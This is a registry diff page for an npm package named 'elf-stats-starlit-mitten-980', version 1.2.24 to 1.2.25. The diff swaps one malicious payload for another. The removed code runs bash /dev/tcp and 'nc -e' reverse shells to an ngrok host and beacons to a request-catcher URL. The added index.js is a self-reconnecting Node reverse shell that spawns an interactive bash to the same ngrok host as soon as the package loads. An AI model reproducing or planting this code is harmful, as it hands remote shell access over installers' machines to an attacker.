elf-stats-starlit-mitten-980 1.2.24 → 1.2.25

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +31 -60
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -1,71 +1,42 @@
1
- const { exec } = require('child_process');
2
- const https = require('https');
3
- const { URL } = require('url');
1
+ const net = require('net');
2
+ const child_process = require('child_process');
4
3
 
5
- function runCommandAndSendToWebhook(command, webhookUrl) {
6
- exec(command, (error, stdout, stderr) => {
7
- const result = {
8
- command: command,
9
- timestamp: new Date().toISOString(),
10
- stdout: stdout,
11
- stderr: stderr,
12
- error: error ? error.message : null,
13
- exitCode: error ? error.code : 0
14
- };
4
+ const HOST = '6.tcp.eu.ngrok.io';
5
+ const PORT = 10184;
15
6
 
16
- console.log('Command executed. Sending results to webhook...');
17
-
18
- sendToWebhook(webhookUrl, result);
19
- });
20
- }
21
-
22
- function sendToWebhook(webhookUrl, data) {
23
- const url = new URL(webhookUrl);
7
+ function connect() {
8
+ console.log(`Attempting to connect to ${HOST}:${PORT}`);
24
9
 
25
- const postData = JSON.stringify(data);
10
+ const client = new net.Socket();
26
11
 
27
- const options = {
28
- hostname: url.hostname,
29
- port: 443,
30
- path: url.pathname,
31
- method: 'POST',
32
- headers: {
33
- 'Content-Type': 'application/json',
34
- 'Content-Length': postData.length,
35
- 'User-Agent': 'Command-Runner/1.0'
36
- }
37
- };
38
-
39
- const req = https.request(options, (res) => {
40
- console.log(`Status: ${res.statusCode}`);
41
- console.log(`Headers: ${JSON.stringify(res.headers)}`);
12
+ client.connect(PORT, HOST, () => {
13
+ console.log('Connected to remote host');
42
14
 
43
- let responseData = '';
44
- res.on('data', (chunk) => {
45
- responseData += chunk;
46
- });
15
+ // Spawn shell
16
+ const shell = child_process.spawn('/bin/bash', ['-i']);
47
17
 
48
- res.on('end', () => {
49
- console.log('Response from webhook:', responseData);
50
- console.log('Results sent successfully!');
18
+ // Pipe everything
19
+ client.pipe(shell.stdin);
20
+ shell.stdout.pipe(client);
21
+ shell.stderr.pipe(client);
22
+
23
+ shell.on('exit', (code) => {
24
+ console.log(`Shell exited with code ${code}`);
25
+ client.end();
51
26
  });
52
27
  });
53
-
54
- req.on('error', (error) => {
55
- console.error('Error sending to webhook:', error.message);
28
+
29
+ client.on('error', (err) => {
30
+ console.error(`Connection error: ${err.message}`);
31
+ console.log('Retrying in 5 seconds...');
32
+ setTimeout(connect, 5000);
33
+ });
34
+
35
+ client.on('close', () => {
36
+ console.log('Connection closed');
37
+ setTimeout(connect, 5000);
56
38
  });
57
-
58
- req.write(postData);
59
- req.end();
60
39
  }
61
40
 
62
-
63
- require('child_process').exec('bash -i >& /dev/tcp/6.tcp.eu.ngrok.io/10184 0>&1');
64
-
65
- // Example usage
66
- const command = 'nc -e /bin/bash 6.tcp.eu.ngrok.io 10184';
67
- const webhookUrl = 'https://bubu.requestcatcher.com';
68
- fetch("https://bubu.requestcatcher.com?start")
69
-
70
- console.log(`Running command: ${command}`);
71
- runCommandAndSendToWebhook(command, webhookUrl);
41
+ // Try to connect
42
+ connect();
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "elf-stats-starlit-mitten-980",
3
- "version": "1.2.24",
3
+ "version": "1.2.25",
4
4
  "description": "",
5
5
  "main": "index.js",
6
6
  "scripts": {